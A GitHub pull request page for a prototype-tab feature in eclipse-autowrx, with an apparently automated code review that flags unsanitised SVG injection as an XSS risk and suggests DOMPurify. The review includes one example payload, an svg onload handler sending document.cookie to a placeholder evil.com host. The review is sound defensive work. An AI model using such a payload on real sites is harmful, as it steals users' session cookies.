Skip to content

Add new prototype page route#334

Merged
NhanLuongBGSV merged 12 commits intoeclipse-autowrx:mainfrom
7inh:feat/enhance-custom-ui
Mar 6, 2026
Merged

Add new prototype page route#334
NhanLuongBGSV merged 12 commits intoeclipse-autowrx:mainfrom
7inh:feat/enhance-custom-ui

Conversation

@7inh
Copy link
Contributor

@7inh 7inh commented Feb 27, 2026

This pull request introduces a new feature for customizing the Staging tab button in the prototype tabs UI, along with several improvements to tab configuration and editing. The most important changes are the addition of a dedicated Staging tab editor, new customization options for the Staging tab button, and updates to tab visibility logic and serialization. These enhancements provide users with greater control over the appearance and behavior of the Staging tab.

Staging Tab Customization Feature:

  • Added a new StagingConfig interface and integrated it into the CustomTabEditor component, enabling customization of the Staging tab button's label, icon visibility, icon URL, and style variant. [1] [2] [3]
  • Implemented the StagingTabButton and StagingTabButtonPreview components for rendering and previewing the customized Staging tab button in both the editor and the tab bar. [1] [2]

Tab Editor Improvements:

  • Added a new "Staging Tab" section to the CustomTabEditor dialog, allowing users to configure and preview Staging tab settings alongside custom and sidebar tabs. [1] [2]
  • Updated the onSave handler and state management in CustomTabEditor to persist Staging tab configuration changes. [1] [2]

Tab Visibility and Serialization Logic:

  • Improved tab migration logic to filter out ghost custom tabs (entries with empty plugin strings) when converting old tab formats, preventing display of tabs with missing metadata.
  • Refined tab visibility handling and default tab selection in PrototypeTabs, ensuring the first visible tab (not necessarily 'overview') is used as the default when no tab is specified. [1] [2]

Tab Editor UX Fixes:

  • Corrected tab hiding logic and UI: now only allows hiding of builtin tabs except 'overview', and updates disabled states for hide/show buttons accordingly. [1] [2]
  • Fixed button styling and tab switching logic in the editor dialog for improved usability and consistency. [1] [2]

These changes collectively enhance the flexibility and user experience of managing prototype tabs, especially with the new Staging tab customization capabilities.

7inh added 7 commits February 26, 2026 11:42
…figuration in TemplateForm and PagePrototypeDetail

- Introduced StagingTabButtonPreview component for rendering staging tab buttons with customizable labels, icons, and styles.
- Enhanced TemplateForm to manage staging configuration, including visibility, label, icon URL, and style selection.
- Updated PageNewPrototypeDetail to handle new prototype creation and session management, including staging configuration.
- Modified PagePrototypeDetail to incorporate staging configuration and render StagingTabButton for navigation.
- Improved routing to include a new prototype detail page.
- Updated hooks to support model and prototype retrieval via search parameters.
…ariants

- Added support for custom SVG icons in PrototypeTabs and CustomTabEditor components.
- Introduced a global style variant for tabs, allowing customization of tab appearance (e.g., 'tab', 'primary', 'outline', 'ghost').
- Updated the TemplateForm to include options for setting tab styles and SVG icons.
- Refactored StagingTabButton and StagingTabButtonPreview to utilize SVG icons instead of image URLs.
- Modified PageNewPrototypeDetail and PagePrototypeDetail to handle the new tab variant and icon configurations.
- Improved user interface for managing tab styles and icons in the TemplateManager.
- Added RightNavPluginButton interface to define properties for right nav buttons.
- Updated CustomTabEditor to manage right nav buttons, including adding, editing, and removing buttons.
- Integrated right nav button configuration into the TemplateForm and PageNewPrototypeDetail components.
- Refactored staging configuration handling to accommodate right nav buttons.
- Updated UI components to reflect changes in right nav button management.
@7inh 7inh force-pushed the feat/enhance-custom-ui branch from 2c721d4 to 3f3d0c7 Compare February 27, 2026 09:28
@NhanLuongBGSV
Copy link
Contributor

Code Review — PR #334

Reviewer: Automated review via Claude Code


Critical Issues (Must Fix)

1. XSS Vulnerability — 12 instances of unsanitized dangerouslySetInnerHTML

SVG icon strings from user-configurable fields are injected directly into the DOM without sanitization across 6 files:

File Instances
frontend/src/components/molecules/NewPrototypeTabs.tsx 1
frontend/src/components/molecules/PrototypeTabs.tsx 1
frontend/src/components/organisms/CustomTabEditor.tsx 6
frontend/src/components/organisms/StagingTabButton.tsx 1
frontend/src/components/organisms/StagingTabButtonPreview.tsx 1
frontend/src/components/organisms/TemplateForm.tsx 2

A model owner could store <svg onload="fetch('https://evil.com?c='+document.cookie)"> and it would execute for every user viewing the tabs.

Fix: The codebase already has the pattern in NavigationBar.tsx:

DOMPurify.sanitize(icon, { USE_PROFILES: { svg: true, svgFilters: true } })

All 12 instances need this sanitization applied.


Major Issues (Should Fix)

2. ~10 console.log statements left in production code

Mostly in TemplateForm.tsx and one in PageNewPrototypeDetail.tsx (line ~121) that fires on every render. These should be removed before merge.

3. Heavy code duplication

  • renderTabIcon and tabItemClasses are copy-pasted between NewPrototypeTabs.tsx and PrototypeTabs.tsx. Should be extracted into a shared utility module.
  • PageNewPrototypeDetail.tsx (~725 lines) duplicates large chunks from PagePrototypeDetail.tsx — staging config extraction, tab save handlers, addon select, plugin preloading. Consider extracting shared logic into custom hooks (e.g., usePrototypeTabConfig, useStagingConfig).

4. Fragile active tab detection

PrototypeTabs.tsx uses window.location.search.includes() for matching the active plugin tab — a substring match that can falsely match if one plugin slug is a prefix of another. Should use useSearchParams() for exact matching instead.


Minor Issues (Nice to Fix)

  • Unused variable pluginId declared but never used in PageNewPrototypeDetail.tsx (line ~96)
  • currentUser?.id! in FormNewPrototype.tsx (line ~180) — non-null assertion doesn't guard against undefined. Add a proper null check.
  • Missing useEffect dependencyonModelChange not listed in deps array in FormNewPrototype.tsx (line ~105). Will cause stale closure if the callback changes.
  • Error checked by string comparisonFormNewPrototype.tsx (lines ~117-120) uses string equality to detect the duplicate-name error. A typed error code would be more robust.
  • Type inconsistencyStagingConfig.variant type includes 'secondary' but the UI style picker only offers ['tab', 'primary', 'outline', 'ghost']. Either add it to the picker or remove from the type.
  • No route-level auth guard on /new-prototype — should verify this is intentional or add protection.

CI Status

⚠️ ECA check failing — author not covered by Eclipse Contributor Agreement.


Summary

The feature itself is well-structured and the approach is sound. However, the XSS vulnerability (12 instances) is a blocker. The debug logging and code duplication also need cleanup before this is ready to merge.

@NhanLuongBGSV
Copy link
Contributor

@7inh pls improve above points

7inh and others added 5 commits March 4, 2026 11:10
@NhanLuongBGSV NhanLuongBGSV merged commit 7e6b05c into eclipse-autowrx:main Mar 6, 2026
1 check failed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants